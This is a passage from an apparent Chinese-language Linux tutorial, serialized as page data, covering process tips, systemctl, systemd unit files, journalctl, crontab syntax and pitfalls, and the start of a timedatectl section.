CPU 和内存","，只占一个 PID 表项，但会持续消耗父进程的资源并可能填满 PID。正确处理不是杀僵尸（杀不掉），而是：让父进程 ",[22,85339,84384],{},"（修代码里的信号\u002F子进程回收）、或重启父进程；如果父进程是 ",[22,85342,29189],{},[22,85344,46323],{}," 且仍在回收，僵尸会自己消失。孤儿进程是被过继给 PID 1 的活着的孩子，本身无害。",[11,85347,85348,85351,85352,85354,85355,85357,85358,655,85361,85364,85365,85367],{},[22,85349,85350],{},"vmstat 1 5"," 的四列：",[22,85353,66333],{},"（运行队列长度，持续大于核数说明 CPU 不够）、",[22,85356,22158],{},"（阻塞在 IO 的进程数）、",[22,85359,85360],{},"si",[22,85362,85363],{},"so","（swap 进出，非 0 说明内存紧张）、",[22,85366,84588],{},"（IO 等待百分比）。这几列在第十七章排障时是主力。",[53,85369,75156],{"id":85370},"踩坑提醒-9",[1773,85372,85373,85389,85404,85418,85429],{},[1662,85374,85375,1677,85377,18283,85379,85382,85383,6745,85385,85388],{},[22,85376,84111],{},[22,85378,84166],{},[17,85380,85381],{},"平均值","，抓瞬时值用 ",[22,85384,50045],{},[22,85386,85387],{},"pidstat 1","；「ps 显示 3% 但机器很卡」通常是采样时机问题。",[1662,85390,85391,85393,85394,85396,85397,85400,85401,85403],{},[22,85392,84199],{}," 大而 ",[22,85395,84191],{}," 小不代表泄漏：JVM、mmap 大文件、",[22,85398,85399],{},"malloc"," 池都会虚高，判断泄漏看 ",[22,85402,84191],{}," 的长期趋势。",[1662,85405,85406,85407,85409,85410,85413,85414,85417],{},"别对 systemd 托管的服务用 ",[22,85408,74454],{},"：systemd 会按 ",[22,85411,85412],{},"Restart="," 立刻拉起来，看起来像「杀不死」。正确做法是 ",[22,85415,85416],{},"systemctl stop","（第十一章）。",[1662,85419,85420,18338,85423,85425,85426,85428],{},[22,85421,85422],{},"pkill -f",[22,85424,37063],{}," 时容易误杀自己的 SSH 会话（匹配到了命令行里的字符串）。执行前 ",[22,85427,84431],{}," 同一条件先看结果。",[1662,85430,85431,85432,85434,85435,85438],{},"僵尸 + 高负载的组合，根因常常是磁盘 ",[22,85433,84343],{}," 状态进程堆积，先用 ",[22,85436,85437],{},"ps -eo stat,cmd | grep '^D'"," 确认。",[48,85440,85442],{"id":85441},"十一服务与定时任务systemctljournalctlcrontab","十一、服务与定时任务：systemctl、journalctl、crontab",[11,85444,85445,85446,85448,85449,85452],{},"现代 Linux 的服务由 systemd 管，日志由 journald 收，定时任务由 cron 跑。这一章覆盖三件套，重点在 ",[22,85447,74862],{}," 的正确用法与 ",[22,85450,85451],{},"journalctl"," 的过滤参数——它们决定了你能不能在三分钟内定位「服务为什么起不来」。",[4748,85454],{"height":5188,"src":85455,"title":85456},"\u002Ftutorials\u002Flinux\u002Fdemos\u002F11-services.html","示例 11：systemctl 与 journalctl 的常用序列",[53,85458,85460],{"id":85459},"_1-systemctl-管理服务","1. systemctl —— 管理服务",[308,85462,85464],{"className":3902,"code":85463,"language":3904,"meta":314,"style":314},"systemctl status nginx          # 看状态、最近日志、主 PID：绿=active、红=failed、黄=activating\nsystemctl start nginx           # 启动；不改变开机是否自启\nsystemctl stop nginx            # 停止：发 ExecStop（无则 SIGTERM），超时 90s 后 SIGKILL\nsystemctl restart nginx         # 重启，有中断；能 reload 就别 restart\nsystemctl reload nginx          # 重读配置不断服务；服务必须支持 ExecReload，否则报错\nsystemctl reload-or-restart nginx   # 支持就 reload，否则 restart——部署脚本里的标准写法\nsystemctl enable nginx          # 设开机自启：只建符号链接，不会启动；加 --now 顺便起\nsystemctl disable nginx         # 取消自启：不会停正在运行的服务；加 --now 一起停\nsystemctl enable --now app      # 部署时统一这么写\nsystemctl is-active app         # 查是否运行（--quiet 只要状态码，可进 if）\nsystemctl is-enabled nginx      # 查是否自启：enabled\u002Fdisabled\u002Fstatic\u002Fmasked\nsystemctl daemon-reload         # 改了 unit 文件后必须执行！不 reload 则新配置不生效\nsystemctl list-units --type=service --state=failed    # 只看失败的单元\nsystemctl list-unit-files --type=service              # 列所有可 enable 的单元（看开机状态）\nsystemctl cat nginx             # 打印 unit 文件内容（含 drop-in 合并结果）\nsystemctl edit nginx            # 建 drop-in 覆盖（推荐，不动原文件），保存后自动 daemon-reload\nsystemctl mask nginx            # 彻底禁死（连手动 start 都不行）；unmask 恢复\nsystemctl list-dependencies nginx    # 依赖树：「谁还没起来导致我起不来」\nsystemctl show nginx -p ExecMainStartTimestamp,MainPID   # 查任意属性，脚本取 PID\u002F启动时间\nsystemctl list-timers --all     # 看 systemd 定时器（比 cron 更好管的一类任务）\n",[22,85465,85466,85477,85488,85499,85510,85521,85533,85545,85557,85571,85582,85594,85603,85619,85631,85642,85654,85666,85678,85695],{"__ignoreMap":314},[331,85467,85468,85470,85472,85474],{"class":333,"line":334},[331,85469,74862],{"class":501},[331,85471,37084],{"class":365},[331,85473,58949],{"class":365},[331,85475,85476],{"class":1003},"          # 看状态、最近日志、主 PID：绿=active、红=failed、黄=activating\n",[331,85478,85479,85481,85483,85485],{"class":333,"line":341},[331,85480,74862],{"class":501},[331,85482,14853],{"class":365},[331,85484,58949],{"class":365},[331,85486,85487],{"class":1003},"           # 启动；不改变开机是否自启\n",[331,85489,85490,85492,85494,85496],{"class":333,"line":357},[331,85491,74862],{"class":501},[331,85493,21961],{"class":365},[331,85495,58949],{"class":365},[331,85497,85498],{"class":1003},"            # 停止：发 ExecStop（无则 SIGTERM），超时 90s 后 SIGKILL\n",[331,85500,85501,85503,85505,85507],{"class":333,"line":371},[331,85502,74862],{"class":501},[331,85504,53174],{"class":365},[331,85506,58949],{"class":365},[331,85508,85509],{"class":1003},"         # 重启，有中断；能 reload 就别 restart\n",[331,85511,85512,85514,85516,85518],{"class":333,"line":384},[331,85513,74862],{"class":501},[331,85515,58954],{"class":365},[331,85517,58949],{"class":365},[331,85519,85520],{"class":1003},"          # 重读配置不断服务；服务必须支持 ExecReload，否则报错\n",[331,85522,85523,85525,85528,85530],{"class":333,"line":397},[331,85524,74862],{"class":501},[331,85526,85527],{"class":365}," reload-or-restart",[331,85529,58949],{"class":365},[331,85531,85532],{"class":1003},"   # 支持就 reload，否则 restart——部署脚本里的标准写法\n",[331,85534,85535,85537,85540,85542],{"class":333,"line":418},[331,85536,74862],{"class":501},[331,85538,85539],{"class":365}," enable",[331,85541,58949],{"class":365},[331,85543,85544],{"class":1003},"          # 设开机自启：只建符号链接，不会启动；加 --now 顺便起\n",[331,85546,85547,85549,85552,85554],{"class":333,"line":427},[331,85548,74862],{"class":501},[331,85550,85551],{"class":365}," disable",[331,85553,58949],{"class":365},[331,85555,85556],{"class":1003},"         # 取消自启：不会停正在运行的服务；加 --now 一起停\n",[331,85558,85559,85561,85563,85566,85568],{"class":333,"line":439},[331,85560,74862],{"class":501},[331,85562,85539],{"class":365},[331,85564,85565],{"class":344}," --now",[331,85567,18152],{"class":365},[331,85569,85570],{"class":1003},"      # 部署时统一这么写\n",[331,85572,85573,85575,85577,85579],{"class":333,"line":450},[331,85574,74862],{"class":501},[331,85576,82646],{"class":365},[331,85578,18152],{"class":365},[331,85580,85581],{"class":1003},"         # 查是否运行（--quiet 只要状态码，可进 if）\n",[331,85583,85584,85586,85589,85591],{"class":333,"line":456},[331,85585,74862],{"class":501},[331,85587,85588],{"class":365}," is-enabled",[331,85590,58949],{"class":365},[331,85592,85593],{"class":1003},"      # 查是否自启：enabled\u002Fdisabled\u002Fstatic\u002Fmasked\n",[331,85595,85596,85598,85600],{"class":333,"line":775},[331,85597,74862],{"class":501},[331,85599,53165],{"class":365},[331,85601,85602],{"class":1003},"         # 改了 unit 文件后必须执行！不 reload 则新配置不生效\n",[331,85604,85605,85607,85610,85613,85616],{"class":333,"line":785},[331,85606,74862],{"class":501},[331,85608,85609],{"class":365}," list-units",[331,85611,85612],{"class":344}," --type=service",[331,85614,85615],{"class":344}," --state=failed",[331,85617,85618],{"class":1003},"    # 只看失败的单元\n",[331,85620,85621,85623,85626,85628],{"class":333,"line":795},[331,85622,74862],{"class":501},[331,85624,85625],{"class":365}," list-unit-files",[331,85627,85612],{"class":344},[331,85629,85630],{"class":1003},"              # 列所有可 enable 的单元（看开机状态）\n",[331,85632,85633,85635,85637,85639],{"class":333,"line":805},[331,85634,74862],{"class":501},[331,85636,50155],{"class":365},[331,85638,58949],{"class":365},[331,85640,85641],{"class":1003},"             # 打印 unit 文件内容（含 drop-in 合并结果）\n",[331,85643,85644,85646,85649,85651],{"class":333,"line":819},[331,85645,74862],{"class":501},[331,85647,85648],{"class":365}," edit",[331,85650,58949],{"class":365},[331,85652,85653],{"class":1003},"            # 建 drop-in 覆盖（推荐，不动原文件），保存后自动 daemon-reload\n",[331,85655,85656,85658,85661,85663],{"class":333,"line":850},[331,85657,74862],{"class":501},[331,85659,85660],{"class":365}," mask",[331,85662,58949],{"class":365},[331,85664,85665],{"class":1003},"            # 彻底禁死（连手动 start 都不行）；unmask 恢复\n",[331,85667,85668,85670,85673,85675],{"class":333,"line":886},[331,85669,74862],{"class":501},[331,85671,85672],{"class":365}," list-dependencies",[331,85674,58949],{"class":365},[331,85676,85677],{"class":1003},"    # 依赖树：「谁还没起来导致我起不来」\n",[331,85679,85680,85682,85685,85687,85689,85692],{"class":333,"line":909},[331,85681,74862],{"class":501},[331,85683,85684],{"class":365}," show",[331,85686,58949],{"class":365},[331,85688,36941],{"class":344},[331,85690,85691],{"class":365}," ExecMainStartTimestamp,MainPID",[331,85693,85694],{"class":1003},"   # 查任意属性，脚本取 PID\u002F启动时间\n",[331,85696,85697,85699,85702,85705],{"class":333,"line":918},[331,85698,74862],{"class":501},[331,85700,85701],{"class":365}," list-timers",[331,85703,85704],{"class":344}," --all",[331,85706,85707],{"class":1003},"     # 看 systemd 定时器（比 cron 更好管的一类任务）\n",[11,85709,85710,5160,85712,85714,85715,85717,85718,85721,85722,85725],{},[22,85711,53679],{},[22,85713,71137],{}," 的取舍：",[22,85716,71137],{}," 让进程自己重读配置、连接不断（nginx、haproxy 支持），但",[17,85719,85720],{},"不是所有服务都实现","；配置改了却没生效，先 ",[22,85723,85724],{},"systemctl show app -p Environment,ExecStart"," 确认它拿到的到底是什么。",[53,85727,85729],{"id":85728},"_2-unit-文件的最小结构","2. unit 文件的最小结构",[11,85731,7591,85732,322],{},[22,85733,85734],{},"\u002Fetc\u002Fsystemd\u002Fsystem\u002Fmyapp.service",[308,85736,85740],{"className":85737,"code":85738,"language":85739,"meta":314,"style":314},"language-ini shiki shiki-themes github-dark","[Unit]\nDescription=My App worker\nAfter=network-online.target postgresql.service\nWants=postgresql.service\n\n[Service]\nType=simple\nUser=deploy\nGroup=deploy\nWorkingDirectory=\u002Fsrv\u002Fapp\nEnvironmentFile=\u002Fsrv\u002Fapp\u002Fenv.list\nExecStart=\u002Fsrv\u002Fapp\u002Fvenv\u002Fbin\u002Fgunicorn -c gunicorn.conf.py app:app\nExecReload=\u002Fbin\u002Fkill -HUP $MAINPID\nRestart=on-failure\nRestartSec=3\nStandardOutput=journal\nLimitNOFILE=65535\n\n[Install]\nWantedBy=multi-user.target\n","ini",[22,85741,85742,85747,85752,85757,85762,85766,85771,85776,85781,85786,85791,85796,85801,85806,85811,85816,85821,85826,85830,85835],{"__ignoreMap":314},[331,85743,85744],{"class":333,"line":334},[331,85745,85746],{},"[Unit]\n",[331,85748,85749],{"class":333,"line":341},[331,85750,85751],{},"Description=My App worker\n",[331,85753,85754],{"class":333,"line":357},[331,85755,85756],{},"After=network-online.target postgresql.service\n",[331,85758,85759],{"class":333,"line":371},[331,85760,85761],{},"Wants=postgresql.service\n",[331,85763,85764],{"class":333,"line":384},[331,85765,998],{"emptyLinePlaceholder":997},[331,85767,85768],{"class":333,"line":397},[331,85769,85770],{},"[Service]\n",[331,85772,85773],{"class":333,"line":418},[331,85774,85775],{},"Type=simple\n",[331,85777,85778],{"class":333,"line":427},[331,85779,85780],{},"User=deploy\n",[331,85782,85783],{"class":333,"line":439},[331,85784,85785],{},"Group=deploy\n",[331,85787,85788],{"class":333,"line":450},[331,85789,85790],{},"WorkingDirectory=\u002Fsrv\u002Fapp\n",[331,85792,85793],{"class":333,"line":456},[331,85794,85795],{},"EnvironmentFile=\u002Fsrv\u002Fapp\u002Fenv.list\n",[331,85797,85798],{"class":333,"line":775},[331,85799,85800],{},"ExecStart=\u002Fsrv\u002Fapp\u002Fvenv\u002Fbin\u002Fgunicorn -c gunicorn.conf.py app:app\n",[331,85802,85803],{"class":333,"line":785},[331,85804,85805],{},"ExecReload=\u002Fbin\u002Fkill -HUP $MAINPID\n",[331,85807,85808],{"class":333,"line":795},[331,85809,85810],{},"Restart=on-failure\n",[331,85812,85813],{"class":333,"line":805},[331,85814,85815],{},"RestartSec=3\n",[331,85817,85818],{"class":333,"line":819},[331,85819,85820],{},"StandardOutput=journal\n",[331,85822,85823],{"class":333,"line":850},[331,85824,85825],{},"LimitNOFILE=65535\n",[331,85827,85828],{"class":333,"line":886},[331,85829,998],{"emptyLinePlaceholder":997},[331,85831,85832],{"class":333,"line":909},[331,85833,85834],{},"[Install]\n",[331,85836,85837],{"class":333,"line":918},[331,85838,85839],{},"WantedBy=multi-user.target\n",[57,85841,85842,85853],{},[60,85843,85844],{},[63,85845,85846,85848,85850],{},[66,85847,1872],{},[66,85849,7759],{},[66,85851,85852],{},"常踩的点",[79,85854,85855,85891,85913,85943,85966,85985,86009,86025,86047,86063],{},[63,85856,85857,85862,85880],{},[84,85858,85859],{},[22,85860,85861],{},"Type",[84,85863,85864,85867,85868,85871,85872,85875,85876,85879],{},[22,85865,85866],{},"simple","（默认，ExecStart 即主进程）\u002F",[22,85869,85870],{},"forking","（传统守护进程）\u002F",[22,85873,85874],{},"oneshot","（跑完就退）\u002F",[22,85877,85878],{},"notify","（自己报就绪）",[84,85881,85882,85883,85885,85886,6745,85888],{},"脚本型任务用 ",[22,85884,85866],{}," 会因为脚本秒退被判失败，改 ",[22,85887,85874],{},[22,85889,85890],{},"Type=exec",[63,85892,85893,85898,85901],{},[84,85894,85895],{},[22,85896,85897],{},"ExecStart",[84,85899,85900],{},"启动命令",[84,85902,85903,85906,85907,85909,85910],{},[17,85904,85905],{},"必须绝对路径","；不能用 shell 特性（管道、",[22,85908,18020],{},"），需要时 ",[22,85911,85912],{},"ExecStart=\u002Fbin\u002Fsh -c '…'",[63,85914,85915,85926,85929],{},[84,85916,85917,1901,85920,1901,85923],{},[22,85918,85919],{},"After=",[22,85921,85922],{},"Wants=",[22,85924,85925],{},"Requires=",[84,85927,85928],{},"顺序与依赖",[84,85930,85931,85934,85935,85938,85939,85942],{},[22,85932,85933],{},"Requires"," 强依赖（对方失败我也失败），",[22,85936,85937],{},"Wants"," 弱依赖；",[22,85940,85941],{},"After"," 只管顺序不产生依赖，两者要搭配写",[63,85944,85945,85949,85957],{},[84,85946,85947],{},[22,85948,85412],{},[84,85950,85951,655,85953,655,85955],{},[22,85952,58358],{},[22,85954,58423],{},[22,85956,55483],{},[84,85958,47180,85959,85962,85963],{},[22,85960,85961],{},"StartLimitBurst","，重启风暴会被限流并进入 ",[22,85964,85965],{},"failed",[63,85967,85968,85976,85979],{},[84,85969,85970,1901,85973],{},[22,85971,85972],{},"User=",[22,85974,85975],{},"Group=",[84,85977,85978],{},"运行身份",[84,85980,85981,85982,85984],{},"改了要 ",[22,85983,47951],{}," 数据目录（第五章）",[63,85986,85987,85995,85997],{},[84,85988,85989,1901,85992],{},[22,85990,85991],{},"Environment=",[22,85993,85994],{},"EnvironmentFile=",[84,85996,53594],{},[84,85998,85999,86000,86005,86006],{},"文件里",[17,86001,86002,86003],{},"不要写 ",[22,86004,5219],{},"，一行 ",[22,86007,86008],{},"KEY=VALUE",[63,86010,86011,86016,86019],{},[84,86012,86013],{},[22,86014,86015],{},"WorkingDirectory=",[84,86017,86018],{},"工作目录",[84,86020,86021,86022,86024],{},"不写就是 ",[22,86023,655],{},"，相对路径全崩",[63,86026,86027,86033,86036],{},[84,86028,86029,1901,86031],{},[22,86030,79545],{},[22,86032,79548],{},[84,86034,86035],{},"沙箱加固",[84,86037,86038,86039,86042,86043,86046],{},"开了 ",[22,86040,86041],{},"ProtectSystem=strict"," 又没给 ",[22,86044,86045],{},"ReadWritePaths"," 就会「Permission denied」而权限位是对的",[63,86048,86049,86057,86060],{},[84,86050,86051,655,86054],{},[22,86052,86053],{},"TimeoutStartSec",[22,86055,86056],{},"TimeoutStopSec",[84,86058,86059],{},"超时",[84,86061,86062],{},"启动慢的服务要放宽，否则反复被杀",[63,86064,86065,86070,86073],{},[84,86066,86067],{},[22,86068,86069],{},"[Install] WantedBy=",[84,86071,86072],{},"enable 时挂到哪个 target",[84,86074,86075,86078,86079],{},[22,86076,86077],{},"multi-user.target","（服务器）\u002F",[22,86080,86081],{},"graphical.target",[11,86083,86084,86085,86088,86089,86092,86093,86096,86097,268,86100,161],{},"改配置的三种途径优先级：",[22,86086,86087],{},"systemctl edit 服务名","（生成 ",[22,86090,86091],{},"\u002Fetc\u002Fsystemd\u002Fsystem\u002F服务名.d\u002Foverride.conf","）> 自己写同名 drop-in 目录 > 直接改 ",[22,86094,86095],{},"\u002Flib\u002Fsystemd\u002Fsystem\u002Fxxx.service","（会被包升级覆盖）。改完",[17,86098,86099],{},"必须",[22,86101,86102],{},"systemctl daemon-reload",[53,86104,86106],{"id":86105},"_3-journalctl-查服务日志","3. journalctl —— 查服务日志",[308,86108,86110],{"className":3902,"code":86109,"language":3904,"meta":314,"style":314},"journalctl -u nginx                     # 某个单元的全部日志\njournalctl -u nginx -f                  # 实时跟踪（等价 tail -f，但含重启前的日志）\njournalctl -u nginx --since \"2026-10-04 09:00\" --until \"10:00\"   # 时间窗；也支持 \"1 hour ago\"\njournalctl -p err -u nginx              # 只看错误及以上（emerg\u002Falert\u002Fcrit\u002Ferr\u002Fwarning\u002Fnotice\u002Finfo\u002Fdebug）\njournalctl -b                           # 本次启动的全部日志\njournalctl -b -1                        # 上一次启动——查无故重启必备\njournalctl -xe                          # 末尾几行 + 每条的解释（x 更多细节，e 跳到末尾）\njournalctl -k -b                        # 内核日志（等价 dmesg，但可按时段过滤）\njournalctl _PID=28414                   # 按字段查（字段=值 直接写）\njournalctl -f -u app -u worker          # 多个单元一起跟\njournalctl -o json-pretty -u app        # 换输出格式（json、short-iso、cat）\njournalctl --disk-usage                 # journald 占了多少磁盘\njournalctl --vacuum-size=200M           # 主动收缩日志（也可 --vacuum-time=7d）\njournalctl --list-boots                 # 列出所有启动记录\n",[22,86111,86112,86123,86136,86158,86174,86183,86194,86204,86215,86228,86245,86261,86271,86281],{"__ignoreMap":314},[331,86113,86114,86116,86118,86120],{"class":333,"line":334},[331,86115,85451],{"class":501},[331,86117,37094],{"class":344},[331,86119,58949],{"class":365},[331,86121,86122],{"class":1003},"                     # 某个单元的全部日志\n",[331,86124,86125,86127,86129,86131,86133],{"class":333,"line":341},[331,86126,85451],{"class":501},[331,86128,37094],{"class":344},[331,86130,58949],{"class":365},[331,86132,43839],{"class":344},[331,86134,86135],{"class":1003},"                  # 实时跟踪（等价 tail -f，但含重启前的日志）\n",[331,86137,86138,86140,86142,86144,86146,86149,86152,86155],{"class":333,"line":357},[331,86139,85451],{"class":501},[331,86141,37094],{"class":344},[331,86143,58949],{"class":365},[331,86145,49939],{"class":344},[331,86147,86148],{"class":365}," \"2026-10-04 09:00\"",[331,86150,86151],{"class":344}," --until",[331,86153,86154],{"class":365}," \"10:00\"",[331,86156,86157],{"class":1003},"   # 时间窗；也支持 \"1 hour ago\"\n",[331,86159,86160,86162,86164,86167,86169,86171],{"class":333,"line":371},[331,86161,85451],{"class":501},[331,86163,36941],{"class":344},[331,86165,86166],{"class":365}," err",[331,86168,37094],{"class":344},[331,86170,58949],{"class":365},[331,86172,86173],{"class":1003},"              # 只看错误及以上（emerg\u002Falert\u002Fcrit\u002Ferr\u002Fwarning\u002Fnotice\u002Finfo\u002Fdebug）\n",[331,86175,86176,86178,86180],{"class":333,"line":384},[331,86177,85451],{"class":501},[331,86179,76000],{"class":344},[331,86181,86182],{"class":1003},"                           # 本次启动的全部日志\n",[331,86184,86185,86187,86189,86191],{"class":333,"line":397},[331,86186,85451],{"class":501},[331,86188,76000],{"class":344},[331,86190,75542],{"class":344},[331,86192,86193],{"class":1003},"                        # 上一次启动——查无故重启必备\n",[331,86195,86196,86198,86201],{"class":333,"line":418},[331,86197,85451],{"class":501},[331,86199,86200],{"class":344}," -xe",[331,86202,86203],{"class":1003},"                          # 末尾几行 + 每条的解释（x 更多细节，e 跳到末尾）\n",[331,86205,86206,86208,86210,86212],{"class":333,"line":427},[331,86207,85451],{"class":501},[331,86209,74658],{"class":344},[331,86211,76000],{"class":344},[331,86213,86214],{"class":1003},"                        # 内核日志（等价 dmesg，但可按时段过滤）\n",[331,86216,86217,86219,86222,86225],{"class":333,"line":439},[331,86218,85451],{"class":501},[331,86220,86221],{"class":365}," _PID=",[331,86223,86224],{"class":344},"28414",[331,86226,86227],{"class":1003},"                   # 按字段查（字段=值 直接写）\n",[331,86229,86230,86232,86234,86236,86238,86240,86242],{"class":333,"line":450},[331,86231,85451],{"class":501},[331,86233,43839],{"class":344},[331,86235,37094],{"class":344},[331,86237,18152],{"class":365},[331,86239,37094],{"class":344},[331,86241,59331],{"class":365},[331,86243,86244],{"class":1003},"          # 多个单元一起跟\n",[331,86246,86247,86249,86251,86254,86256,86258],{"class":333,"line":456},[331,86248,85451],{"class":501},[331,86250,53195],{"class":344},[331,86252,86253],{"class":365}," json-pretty",[331,86255,37094],{"class":344},[331,86257,18152],{"class":365},[331,86259,86260],{"class":1003},"        # 换输出格式（json、short-iso、cat）\n",[331,86262,86263,86265,86268],{"class":333,"line":775},[331,86264,85451],{"class":501},[331,86266,86267],{"class":344}," --disk-usage",[331,86269,86270],{"class":1003},"                 # journald 占了多少磁盘\n",[331,86272,86273,86275,86278],{"class":333,"line":785},[331,86274,85451],{"class":501},[331,86276,86277],{"class":344}," --vacuum-size=200M",[331,86279,86280],{"class":1003},"           # 主动收缩日志（也可 --vacuum-time=7d）\n",[331,86282,86283,86285,86288],{"class":333,"line":795},[331,86284,85451],{"class":501},[331,86286,86287],{"class":344}," --list-boots",[331,86289,86290],{"class":1003},"                 # 列出所有启动记录\n",[11,86292,86293,86294,86297,86298,86301,86302,86305,86306,86309,86310,5760,86313,46489,86316,49310,86319,86322,86323,86326],{},"日志为空的两种常见原因：服务把日志写到了自己的文件（unit 里 ",[22,86295,86296],{},"StandardOutput=file:"," 或代码里 ",[22,86299,86300],{},"logging.FileHandler","），以及权限不够——普通用户查全量日志需要 ",[22,86303,86304],{},"systemd-journal"," 组（",[22,86307,86308],{},"sudo usermod -aG systemd-journal deploy","）。持久化默认可能关闭：",[22,86311,86312],{},"\u002Fetc\u002Fsystemd\u002Fjournald.conf",[22,86314,86315],{},"Storage=persistent",[22,86317,86318],{},"systemctl restart systemd-journald",[22,86320,86321],{},"\u002Fvar\u002Flog\u002Fjournal"," 不存在、",[22,86324,86325],{},"-b -1"," 查不到上次开机的事。",[11,86328,86329,86330,86333,86334,272,86337,272,86340,86343],{},"journald 上限的四个参数（同一文件）：",[22,86331,86332],{},"SystemMaxUse=500M","（磁盘上限，最有用）、",[22,86335,86336],{},"SystemMaxFileSize=50M",[22,86338,86339],{},"MaxRetentionSec=30day",[22,86341,86342],{},"ForwardToSyslog=yes","（转给 rsyslog）。",[53,86345,86347],{"id":86346},"_4-crontab-定时任务","4. crontab —— 定时任务",[308,86349,86351],{"className":3902,"code":86350,"language":3904,"meta":314,"style":314},"crontab -l          # 看当前用户的任务\ncrontab -e          # 编辑（改完自动生效，无需重启 cron）\nsudo crontab -u deploy -e    # 读写别人的（root 权限）\ncrontab -r          # 删除全部任务 —— 危险，没有二次确认\n",[22,86352,86353,86363,86372,86388],{"__ignoreMap":314},[331,86354,86355,86358,86360],{"class":333,"line":334},[331,86356,86357],{"class":501},"crontab",[331,86359,43868],{"class":344},[331,86361,86362],{"class":1003},"          # 看当前用户的任务\n",[331,86364,86365,86367,86369],{"class":333,"line":341},[331,86366,86357],{"class":501},[331,86368,56478],{"class":344},[331,86370,86371],{"class":1003},"          # 编辑（改完自动生效，无需重启 cron）\n",[331,86373,86374,86376,86379,86381,86383,86385],{"class":333,"line":357},[331,86375,37063],{"class":501},[331,86377,86378],{"class":365}," crontab",[331,86380,37094],{"class":344},[331,86382,59612],{"class":365},[331,86384,56478],{"class":344},[331,86386,86387],{"class":1003},"    # 读写别人的（root 权限）\n",[331,86389,86390,86392,86394],{"class":333,"line":371},[331,86391,86357],{"class":501},[331,86393,81798],{"class":344},[331,86395,86396],{"class":1003},"          # 删除全部任务 —— 危险，没有二次确认\n",[11,86398,86399],{},"字段顺序与示例：",[308,86401,86403],{"className":75245,"code":86402,"language":75247,"meta":314,"style":314},"分 时 日 月 周          命令\n 0 3 * * *  find \u002Fsrv\u002Fapp\u002Flogs -name '*.log' -mtime +7 -delete\n*\u002F5 * * * *  \u002Fsrv\u002Fapp\u002Fhealthcheck.sh >> \u002Fvar\u002Flog\u002Fhc.log 2>&1\n30 4 * * 1-5  \u002Fusr\u002Fbin\u002Fpg_dump appdb | gzip > \u002Fbackup\u002Fapp.sql.gz\n@reboot      \u002Fsrv\u002Fapp\u002Fstartup.sh\n",[22,86404,86405,86410,86415,86420,86425],{"__ignoreMap":314},[331,86406,86407],{"class":333,"line":334},[331,86408,86409],{},"分 时 日 月 周          命令\n",[331,86411,86412],{"class":333,"line":341},[331,86413,86414],{}," 0 3 * * *  find \u002Fsrv\u002Fapp\u002Flogs -name '*.log' -mtime +7 -delete\n",[331,86416,86417],{"class":333,"line":357},[331,86418,86419],{},"*\u002F5 * * * *  \u002Fsrv\u002Fapp\u002Fhealthcheck.sh >> \u002Fvar\u002Flog\u002Fhc.log 2>&1\n",[331,86421,86422],{"class":333,"line":371},[331,86423,86424],{},"30 4 * * 1-5  \u002Fusr\u002Fbin\u002Fpg_dump appdb | gzip > \u002Fbackup\u002Fapp.sql.gz\n",[331,86426,86427],{"class":333,"line":384},[331,86428,86429],{},"@reboot      \u002Fsrv\u002Fapp\u002Fstartup.sh\n",[57,86431,86432,86443],{},[60,86433,86434],{},[63,86435,86436,86438,86440],{},[66,86437,19254],{},[66,86439,49671],{},[66,86441,86442],{},"易混点",[79,86444,86445,86458,86474,86491,86508],{},[63,86446,86447,86452,86455],{},[84,86448,86449],{},[22,86450,86451],{},"* * * * *",[84,86453,86454],{},"每分钟",[84,86456,86457],{},"五段依次是「分 时 日 月 周」，第 3 位是「几号」而不是小时，写反就永不执行",[63,86459,86460,86465,86468],{},[84,86461,86462],{},[22,86463,86464],{},"0 3 * * *",[84,86466,86467],{},"每天 03:00",[84,86469,86470,86471,86473],{},"「日」和「周」同时限制时是",[17,86472,81092],{},"关系（cron 特性，不是 bug）",[63,86475,86476,86481,86484],{},[84,86477,86478],{},[22,86479,86480],{},"*\u002F5",[84,86482,86483],{},"每 5 分钟",[84,86485,86486,86487,86490],{},"分钟从 0 起算，",[22,86488,86489],{},"*\u002F7"," 不是严格每 7 分钟",[63,86492,86493,86499,86502],{},[84,86494,86495,86498],{},[22,86496,86497],{},"1-5","（周）",[84,86500,86501],{},"周一到周五",[84,86503,86504,86507],{},[17,86505,86506],{},"0 和 7 都是周日","；有的实现只认 0",[63,86509,86510,86516,86522],{},[84,86511,86512,86515],{},[22,86513,86514],{},"23:59"," 式",[84,86517,86518,86519],{},"不存在，必须 ",[22,86520,86521],{},"59 23 * * *",[84,86523,86524],{},"顺序写反就是「59 分 23 时」→ 永远不跑",[11,86526,86527],{},"三个经典坑：",[1659,86529,86530,86550,86566],{},[1662,86531,86532,86535,86536,86539,86540,86543,86544,2012,86547,161],{},[17,86533,86534],{},"PATH 不同","。cron 的环境只有 ",[22,86537,86538],{},"\u002Fusr\u002Fbin:\u002Fbin","，没有你的 ",[22,86541,86542],{},"~\u002F.bashrc"," 里的路径。写绝对路径，或在 crontab 顶部加 ",[22,86545,86546],{},"PATH=\u002Fusr\u002Flocal\u002Fbin:\u002Fusr\u002Fbin:\u002Fbin",[22,86548,86549],{},"MAILTO=\"\"",[1662,86551,86552,86557,86558,86561,86562,86565],{},[17,86553,86554,86556],{},[22,86555,715],{}," 是特殊字符","（被当换行\u002F参数分隔）。crontab 里 ",[22,86559,86560],{},"date +%F"," 必须写成 ",[22,86563,86564],{},"date +\\%F","，或者干脆把命令放进脚本文件（强烈推荐）。",[1662,86567,86568,161,86571,86573,86574,86577,86578,6745,86581,161],{},[17,86569,86570],{},"注释与输出",[22,86572,20333],{}," 行会被忽略；任务有输出时 cron 会试图用 ",[22,86575,86576],{},"sendmail"," 发信，没装 MTA 就表现为「静默失败」。所有行末尾加 ",[22,86579,86580],{},">> \u002Fvar\u002Flog\u002Fcron.out 2>&1",[22,86582,86549],{},[11,86584,86585,86586,86589,86590,86593,86594,86596,86597,18878,86600,86603,86604,86607,86608,50728,86610,86613],{},"排查有没有跑：",[22,86587,86588],{},"grep CRON \u002Fvar\u002Flog\u002Fsyslog","（Debian）或 ",[22,86591,86592],{},"journalctl -u cron","（RHEL 系与 systemd 环境）。",[22,86595,65868],{}," 一次性任务的用法：",[22,86598,86599],{},"echo '\u002Fsrv\u002Fapp\u002Freport.sh' | at 02:00 tomorrow",[22,86601,86602],{},"atq"," 看队列、",[22,86605,86606],{},"atrm 3"," 取消；需要装 ",[22,86609,65868],{},[22,86611,86612],{},"atd"," 在跑。",[53,86615,86617],{"id":86616},"_5-timedatectl-时间与时区","5. timedatectl —— 时间与时区",[308,86619,86621],{"className":3902,"code":86620,"language":3904,"meta":314,"style":314},"timedatectl                                # 一站式看时间、时区、NTP 